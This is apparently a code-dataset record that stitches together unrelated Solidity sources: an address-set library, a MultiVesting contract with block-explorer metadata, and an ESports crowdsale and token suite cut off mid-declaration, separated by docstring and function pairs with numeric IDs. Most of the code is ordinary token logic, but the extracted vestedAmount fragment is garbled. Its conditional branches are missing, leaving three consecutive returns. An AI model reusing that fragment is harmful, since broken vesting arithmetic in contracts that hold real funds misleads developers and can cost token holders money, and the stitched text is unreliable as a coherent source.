pragma solidity ^0.5.0; /** * @title Addresses * @dev Collection of structs and functions related to address type. */ library Addresses { struct AddressSet { mapping(address => uint256) _indexOf; address[] _items; } /** * @dev Adds an address to the set, if set does not contain it. * @param item The address to add to the set. */ function add( AddressSet storage addresses, address item ) internal { require(!contains(addresses, item), "Addresses: set already contains address"); addresses._items.push(item); addresses._indexOf[item] = count(addresses); } /** * @dev Removes the address from the set, if set contains it. * @param item The address to remove from the set. */ function remove( AddressSet storage addresses, address item ) internal { require(contains(addresses, item), "Addresses: set does not contain address"); uint256 index = addresses._indexOf[item] - 1; addresses._items[index] = addresses._items[count(addresses) - 1]; addresses._items.pop(); delete addresses._indexOf[item]; } /** * @dev Check if an address set contains specified address. * @param item The address to locate in the set. * @return `true` if the address is found in the set, `false` otherwise. */ function contains( AddressSet storage addresses, address item ) internal view returns(bool) { return addresses._indexOf[item] != 0; } /** * @dev Gets the number of addresses actually contained in the set. * @return The number of addresses actually contained in the set. */ function count( AddressSet storage addresses ) internal view returns (uint256) { return addresses._items.length; } function isZeroAddress( address value ) internal pure returns (bool) { return value == address(0); } /** * @dev Copies the set to a new array. * @return A new array containing copies of the addresses of the set. */ function toArray( AddressSet storage addresses ) internal view returns (address[] memory) { return toArray(addresses, 0, count(addresses)); } /** * @dev Copies the set to a new array. * @param skip The number of addresses to skip before returning the remaining addresses. * @param take` The number of addresses to return. * @return A new array containing copies of the addresses of the set. */ function toArray( AddressSet storage addresses, uint256 skip, uint256 take ) internal view returns (address[] memory) { uint256 length = take; if (length > count(addresses) - skip) { length = count(addresses) - skip; } address[] memory result = new address[](length); for (uint256 i = 0; i < length; i++) { result[i] = addresses._items[skip + i]; } return result; } }
Removes the address from the set, if set contains it. item The address to remove from the set./
function remove( AddressSet storage addresses, address item ) internal { require(contains(addresses, item), "Addresses: set does not contain address"); uint256 index = addresses._indexOf[item] - 1; addresses._items[index] = addresses._items[count(addresses) - 1]; addresses._items.pop(); delete addresses._indexOf[item]; }
7,274,088
//Address: 0x1d86a854da490ff74dedc7abe281fb468f8c19ee //Contract name: MultiVesting //Balance: 0 Ether //Verification Date: 5/23/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.21; /** * Changes by https://www.docademic.com/ */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Destroyable is Ownable{ /** * @notice Allows to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner{ selfdestruct(owner); } } interface Token { function transfer(address _to, uint256 _value) external; function balanceOf(address who) view external returns (uint256); } contract MultiVesting is Ownable, Destroyable { using SafeMath for uint256; // beneficiary of tokens struct Beneficiary { string description; uint256 vested; uint256 released; uint256 start; uint256 cliff; uint256 duration; bool revoked; bool revocable; bool isBeneficiary; } event Released(address _beneficiary, uint256 amount); event Revoked(address _beneficiary); event NewBeneficiary(address _beneficiary); event BeneficiaryDestroyed(address _beneficiary); mapping(address => Beneficiary) public beneficiaries; address[] public addresses; Token public token; uint256 public totalVested; uint256 public totalReleased; /* * Modifiers */ modifier isNotBeneficiary(address _beneficiary) { require(!beneficiaries[_beneficiary].isBeneficiary); _; } modifier isBeneficiary(address _beneficiary) { require(beneficiaries[_beneficiary].isBeneficiary); _; } modifier wasRevoked(address _beneficiary) { require(beneficiaries[_beneficiary].revoked); _; } modifier wasNotRevoked(address _beneficiary) { require(!beneficiaries[_beneficiary].revoked); _; } /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _token address of the token of vested tokens */ function MultiVesting (address _token) public { require(_token != address(0)); token = Token(_token); } function() payable public { release(msg.sender); } /** * @notice Transfers vested tokens to beneficiary (alternative to fallback function). */ function release() public { release(msg.sender); } /** * @notice Transfers vested tokens to beneficiary. * @param _beneficiary Beneficiary address */ function release(address _beneficiary) private isBeneficiary(_beneficiary) { Beneficiary storage beneficiary = beneficiaries[_beneficiary]; uint256 unreleased = releasableAmount(_beneficiary); require(unreleased > 0); beneficiary.released = beneficiary.released.add(unreleased); totalReleased = totalReleased.add(unreleased); token.transfer(_beneficiary, unreleased); if ((beneficiary.vested - beneficiary.released) == 0) { beneficiary.isBeneficiary = false; } emit Released(_beneficiary, unreleased); } /** * @notice Allows the owner to transfers vested tokens to beneficiary. * @param _beneficiary Beneficiary address */ function releaseTo(address _beneficiary) public onlyOwner { release(_beneficiary); } /** * @dev Add new beneficiary to start vesting * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _start time in seconds which the tokens will vest * @param _cliff time in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ function addBeneficiary(address _beneficiary, uint256 _vested, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable, string _description) onlyOwner isNotBeneficiary(_beneficiary) public { require(_beneficiary != address(0)); require(_cliff >= _start); require(token.balanceOf(this) >= totalVested.sub(totalReleased).add(_vested)); beneficiaries[_beneficiary] = Beneficiary({ released : 0, vested : _vested, start : _start, cliff : _cliff, duration : _duration, revoked : false, revocable : _revocable, isBeneficiary : true, description : _description }); totalVested = totalVested.add(_vested); addresses.push(_beneficiary); emit NewBeneficiary(_beneficiary); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param _beneficiary Beneficiary address */ function revoke(address _beneficiary) public onlyOwner { Beneficiary storage beneficiary = beneficiaries[_beneficiary]; require(beneficiary.revocable); require(!beneficiary.revoked); uint256 balance = beneficiary.vested.sub(beneficiary.released); uint256 unreleased = releasableAmount(_beneficiary); uint256 refund = balance.sub(unreleased); token.transfer(owner, refund); totalReleased = totalReleased.add(refund); beneficiary.revoked = true; beneficiary.released = beneficiary.released.add(refund); emit Revoked(_beneficiary); } /** * @notice Allows the owner to destroy a beneficiary. Remain tokens are returned to the owner. * @param _beneficiary Beneficiary address */ function destroyBeneficiary(address _beneficiary) public onlyOwner { Beneficiary storage beneficiary = beneficiaries[_beneficiary]; uint256 balance = beneficiary.vested.sub(beneficiary.released); token.transfer(owner, balance); totalReleased = totalReleased.add(balance); beneficiary.isBeneficiary = false; beneficiary.released = beneficiary.released.add(balance); for (uint i = 0; i < addresses.length - 1; i++) if (addresses[i] == _beneficiary) { addresses[i] = addresses[addresses.length - 1]; break; } addresses.length -= 1; emit BeneficiaryDestroyed(_beneficiary); } /** * @notice Allows the owner to clear the contract. Remain tokens are returned to the owner. */ function clearAll() public onlyOwner { token.transfer(owner, token.balanceOf(this)); for (uint i = 0; i < addresses.length; i++) { Beneficiary storage beneficiary = beneficiaries[addresses[i]]; beneficiary.isBeneficiary = false; beneficiary.released = 0; beneficiary.vested = 0; beneficiary.start = 0; beneficiary.cliff = 0; beneficiary.duration = 0; beneficiary.revoked = false; beneficiary.revocable = false; beneficiary.description = ""; } addresses.length = 0; } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param _beneficiary Beneficiary address */ function releasableAmount(address _beneficiary) public view returns (uint256) { return vestedAmount(_beneficiary).sub(beneficiaries[_beneficiary].released); } /** * @dev Calculates the amount that has already vested. * @param _beneficiary Beneficiary address */ function vestedAmount(address _beneficiary) public view returns (uint256) { Beneficiary storage beneficiary = beneficiaries[_beneficiary]; uint256 totalBalance = beneficiary.vested; if (now < beneficiary.cliff) { return 0; } else if (now >= beneficiary.start.add(beneficiary.duration) || beneficiary.revoked) { return totalBalance; } else { return totalBalance.mul(now.sub(beneficiary.start)).div(beneficiary.duration); } } /** * @dev Get the remain MTC on the contract. */ function Balance() view public returns (uint256) { return token.balanceOf(address(this)); } /** * @dev Get the numbers of beneficiaries in the vesting contract. */ function beneficiariesLength() view public returns (uint256) { return addresses.length; } /** * @notice Allows the owner to flush the eth. */ function flushEth() public onlyOwner { owner.transfer(address(this).balance); } /** * @notice Allows the owner to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner { token.transfer(owner, token.balanceOf(this)); selfdestruct(owner); } }
Calculates the amount that has already vested. _beneficiary Beneficiary address/
function vestedAmount(address _beneficiary) public view returns (uint256) { Beneficiary storage beneficiary = beneficiaries[_beneficiary]; uint256 totalBalance = beneficiary.vested; if (now < beneficiary.cliff) { return 0; return totalBalance; return totalBalance.mul(now.sub(beneficiary.start)).div(beneficiary.duration); } }
1,811,750
contract ESportsConstants { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = uint8(TOKEN_DECIMALS); uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; uint constant RATE = 240; // = 1 ETH } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ESportsFreezingStorage is Ownable { // Timestamp when token release is enabled uint64 public releaseTime; // ERC20 basic token contract being held // ERC20Basic token; ESportsToken token; function ESportsFreezingStorage(ESportsToken _token, uint64 _releaseTime) { //ERC20Basic require(_releaseTime > now); releaseTime = _releaseTime; token = _token; } function release(address _beneficiary) onlyOwner returns(uint) { //require(now >= releaseTime); if (now < releaseTime) return 0; uint amount = token.balanceOf(this); //require(amount > 0); if (amount == 0) return 0; // token.safeTransfer(beneficiary, amount); //require(token.transfer(_beneficiary, amount)); bool result = token.transfer(_beneficiary, amount); if (!result) return 0; return amount; } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State {Active, Refunding, Closed} mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) { require(_wallet != 0x0); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor, uint weiRaised) onlyOwner { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint32 public startTime; uint32 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint public rate; // amount of raised money in wei uint public weiRaised; /** * @dev Amount of already sold tokens. */ uint public soldTokens; /** * @dev Maximum amount of tokens to mint. */ uint public hardCap; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); function Crowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); require(_hardCap > _rate); // token = createTokenContract(); token = MintableToken(_token); startTime = _startTime; endTime = _endTime; rate = _rate; hardCap = _hardCap; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. // function createTokenContract() internal returns (MintableToken) { // return new MintableToken(); // } /** * @dev this method might be overridden for implementing any sale logic. * @return Actual rate. */ function getRate() internal constant returns (uint) { return rate; } // Fallback function can be used to buy tokens function() payable { buyTokens(msg.sender, msg.value); } // Low level token purchase function function buyTokens(address beneficiary, uint amountWei) internal { require(beneficiary != 0x0); // Total minted tokens uint totalSupply = token.totalSupply(); // Actual token minting rate (with considering bonuses and discounts) uint actualRate = getRate(); require(validPurchase(amountWei, actualRate, totalSupply)); // Calculate token amount to be created // uint tokens = rate.mul(msg.value).div(1 ether); uint tokens = amountWei.mul(actualRate); if (msg.value == 0) { // if it is a btc purchase then check existence all tokens (no change) require(tokens.add(totalSupply) <= hardCap); } // Change, if minted token would be less uint change = 0; // If hard cap reached if (tokens.add(totalSupply) > hardCap) { // Rest tokens uint maxTokens = hardCap.sub(totalSupply); uint realAmount = maxTokens.div(actualRate); // Rest tokens rounded by actualRate tokens = realAmount.mul(actualRate); change = amountWei.sub(realAmount); amountWei = realAmount; } // Bonuses postBuyTokens(beneficiary, tokens); // Update state weiRaised = weiRaised.add(amountWei); soldTokens = soldTokens.add(tokens); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, amountWei, tokens); if (msg.value != 0) { if (change != 0) { msg.sender.transfer(change); } forwardFunds(amountWei); } } // Send ether to the fund collection wallet // Override to create custom fund forwarding mechanisms function forwardFunds(uint amountWei) internal { wallet.transfer(amountWei); } // Trasfer bonuses and adding delayed bonuses function postBuyTokens(address _beneficiary, uint _tokens) internal { } /** * @dev Check if the specified purchase is valid. * @return true if the transaction can buy tokens */ function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = _amountWei != 0; bool hardCapNotReached = _totalSupply <= hardCap.sub(_actualRate); return withinPeriod && nonZeroPurchase && hardCapNotReached; } /** * @dev Because of discount hasEnded might be true, but validPurchase returns false. * @return true if crowdsale event has ended */ function hasEnded() public constant returns (bool) { return now > endTime || token.totalSupply() > hardCap.sub(getRate()); } /** * @return true if crowdsale event has started */ function hasStarted() public constant returns (bool) { return now >= startTime; } } /** * @title FinalizableCrowdsale * @dev Extension of Crowsdale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function FinalizableCrowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token) Crowdsale(_startTime, _endTime, _rate, _hardCap, _wallet, _token) { } /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner { require(!isFinalized); require(hasEnded()); isFinalized = true; finalization(); Finalized(); } /** * @dev Can be overriden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. * Uses a RefundVault as the crowdsale's vault. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; function RefundableCrowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token, uint _goal) FinalizableCrowdsale(_startTime, _endTime, _rate, _hardCap, _wallet, _token) { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } // We're overriding the fund forwarding from Crowdsale. // In addition to sending the funds, we want to call // the RefundVault deposit function function forwardFunds(uint amountWei) internal { if (goalReached()) { wallet.transfer(amountWei); } else { vault.deposit.value(amountWei)(msg.sender); } } // if crowdsale is unsuccessful, investors can claim refunds here function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender, weiRaised); } // vault finalization task, called when owner calls finalize() function finalization() internal { super.finalization(); if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } } function goalReached() public constant returns (bool) { return weiRaised >= goal; } } contract ESportsMainCrowdsale is ESportsConstants, RefundableCrowdsale { uint constant OVERALL_AMOUNT_TOKENS = 60000000 * TOKEN_DECIMAL_MULTIPLIER; // overall 100.00% uint constant TEAM_BEN_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER; // 20.00% // Founders uint constant TEAM_PHIL_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER; uint constant COMPANY_COLD_STORAGE_TOKENS = 12000000 * TOKEN_DECIMAL_MULTIPLIER; // 20.00% uint constant INVESTOR_TOKENS = 3000000 * TOKEN_DECIMAL_MULTIPLIER; // 5.00% uint constant BONUS_TOKENS = 3000000 * TOKEN_DECIMAL_MULTIPLIER; // 5.00% // Pre-sale uint constant BUFFER_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER; // 10.00% uint constant PRE_SALE_TOKENS = 12000000 * TOKEN_DECIMAL_MULTIPLIER; // 20.00% // Mainnet addresses address constant TEAM_BEN_ADDRESS = 0x2E352Ed15C4321f4dd7EdFc19402666dE8713cd8; address constant TEAM_PHIL_ADDRESS = 0x4466de3a8f4f0a0f5470b50fdc9f91fa04e00e34; address constant INVESTOR_ADDRESS = 0x14f8d0c41097ca6fddb6aa4fd6a3332af3741847; address constant BONUS_ADDRESS = 0x5baee4a9938d8f59edbe4dc109119983db4b7bd6; address constant COMPANY_COLD_STORAGE_ADDRESS = 0x700d6ae53be946085bb91f96eb1cf9e420236762; address constant PRE_SALE_ADDRESS = 0xcb2809926e615245b3af4ebce5af9fbe1a6a4321; address btcBuyer = 0x1eee4c7d88aadec2ab82dd191491d1a9edf21e9a; ESportsBonusProvider public bonusProvider; bool private isInit = false; /** * Constructor function */ function ESportsMainCrowdsale( uint32 _startTime, uint32 _endTime, uint _softCapWei, // 4000000 EUR address _wallet, address _token ) RefundableCrowdsale( _startTime, _endTime, RATE, OVERALL_AMOUNT_TOKENS, _wallet, _token, _softCapWei ) { } /** * @dev Release delayed bonus tokens * @return Amount of got bonus tokens */ function releaseBonus() returns(uint) { return bonusProvider.releaseBonus(msg.sender, soldTokens); } /** * @dev Trasfer bonuses and adding delayed bonuses * @param _beneficiary Future bonuses holder * @param _tokens Amount of bonus tokens */ function postBuyTokens(address _beneficiary, uint _tokens) internal { uint bonuses = bonusProvider.getBonusAmount(_beneficiary, soldTokens, _tokens, startTime); bonusProvider.addDelayedBonus(_beneficiary, soldTokens, _tokens); if (bonuses > 0) { bonusProvider.sendBonus(_beneficiary, bonuses); } } /** * @dev Initialization of crowdsale. Starts once after deployment token contract * , deployment crowdsale contract and changу token contract's owner */ function init() onlyOwner public returns(bool) { require(!isInit); ESportsToken ertToken = ESportsToken(token); isInit = true; ESportsBonusProvider bProvider = new ESportsBonusProvider(ertToken, COMPANY_COLD_STORAGE_ADDRESS); // bProvider.transferOwnership(owner); bonusProvider = bProvider; mintToFounders(ertToken); require(token.mint(INVESTOR_ADDRESS, INVESTOR_TOKENS)); require(token.mint(COMPANY_COLD_STORAGE_ADDRESS, COMPANY_COLD_STORAGE_TOKENS)); require(token.mint(PRE_SALE_ADDRESS, PRE_SALE_TOKENS)); // bonuses require(token.mint(BONUS_ADDRESS, BONUS_TOKENS)); require(token.mint(bonusProvider, BUFFER_TOKENS)); // mint bonus token to bonus provider ertToken.addExcluded(INVESTOR_ADDRESS); ertToken.addExcluded(BONUS_ADDRESS); ertToken.addExcluded(COMPANY_COLD_STORAGE_ADDRESS); ertToken.addExcluded(PRE_SALE_ADDRESS); ertToken.addExcluded(address(bonusProvider)); return true; } /** * @dev Mint of tokens in the name of the founders and freeze part of them */ function mintToFounders(ESportsToken ertToken) internal { ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(20).div(100), startTime + 1 years); ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(30).div(100), startTime + 3 years); ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(30).div(100), startTime + 5 years); require(token.mint(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(20).div(100))); ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(20).div(100), startTime + 1 years); ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(30).div(100), startTime + 3 years); ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(30).div(100), startTime + 5 years); require(token.mint(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(20).div(100))); } /** * @dev Purchase for bitcoin. Can start only btc buyer */ function buyForBitcoin(address _beneficiary, uint _amountWei) public returns(bool) { require(msg.sender == btcBuyer); buyTokens(_beneficiary, _amountWei); return true; } /** * @dev Set new address who can buy tokens for bitcoin */ function setBtcBuyer(address _newBtcBuyerAddress) onlyOwner returns(bool) { require(_newBtcBuyerAddress != 0x0); btcBuyer = _newBtcBuyerAddress; return true; } /** * @dev Finish the crowdsale */ function finalization() internal { super.finalization(); token.finishMinting(); bonusProvider.releaseThisBonuses(); if (goalReached()) { ESportsToken(token).allowMoveTokens(); } token.transferOwnership(owner); // change token owner } } contract ESportsBonusProvider is ESportsConstants, Ownable { // 1) 10% on your investment during first week // 2) 10% to all investors during ICO ( not presale) if we reach 5 000 000 euro investments using SafeMath for uint; ESportsToken public token; address public returnAddressBonuses; mapping (address => uint256) investorBonuses; uint constant FIRST_WEEK = 7 days; uint constant BONUS_THRESHOLD_ETR = 20000 * RATE * TOKEN_DECIMAL_MULTIPLIER; // 5 000 000 EUR -> 20 000 ETH -> ETR function ESportsBonusProvider(ESportsToken _token, address _returnAddressBonuses) { token = _token; returnAddressBonuses = _returnAddressBonuses; } function getBonusAmount( address _buyer, uint _totalSold, uint _amountTokens, uint32 _startTime ) onlyOwner public constant returns (uint) { uint bonus = 0; // Apply bonus for amount if (now < _startTime + FIRST_WEEK && now >= _startTime) { bonus = bonus.add(_amountTokens.div(10)); // 1 } return bonus; } function addDelayedBonus( address _buyer, uint _totalSold, uint _amountTokens ) onlyOwner public returns (uint) { uint bonus = 0; if (_totalSold < BONUS_THRESHOLD_ETR) { uint amountThresholdBonus = _amountTokens.div(10); // 2 investorBonuses[_buyer] = investorBonuses[_buyer].add(amountThresholdBonus); bonus = bonus.add(amountThresholdBonus); } return bonus; } function releaseBonus(address _buyer, uint _totalSold) onlyOwner public returns (uint) { require(_totalSold >= BONUS_THRESHOLD_ETR); require(investorBonuses[_buyer] > 0); uint amountBonusTokens = investorBonuses[_buyer]; investorBonuses[_buyer] = 0; require(token.transfer(_buyer, amountBonusTokens)); return amountBonusTokens; } function getDelayedBonusAmount(address _buyer) public constant returns(uint) { return investorBonuses[_buyer]; } function sendBonus(address _buyer, uint _amountBonusTokens) onlyOwner public { require(token.transfer(_buyer, _amountBonusTokens)); } function releaseThisBonuses() onlyOwner public { uint remainBonusTokens = token.balanceOf(this); // send all remaining bonuses require(token.transfer(returnAddressBonuses, remainBonusTokens)); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ESportsToken is ESportsConstants, MintableToken { using SafeMath for uint; event Burn(address indexed burner, uint value); event MintTimelocked(address indexed beneficiary, uint amount); /** * @dev Pause token transfer. After successfully finished crowdsale it becomes false */ bool public paused = true; /** * @dev Accounts who can transfer token even if paused. Works only during crowdsale */ mapping(address => bool) excluded; mapping (address => ESportsFreezingStorage[]) public frozenFunds; function name() constant public returns (string _name) { return "ESports Token"; } function symbol() constant public returns (string _symbol) { return "ERT"; } function decimals() constant public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function allowMoveTokens() onlyOwner { paused = false; } function addExcluded(address _toExclude) onlyOwner { addExcludedInternal(_toExclude); } function 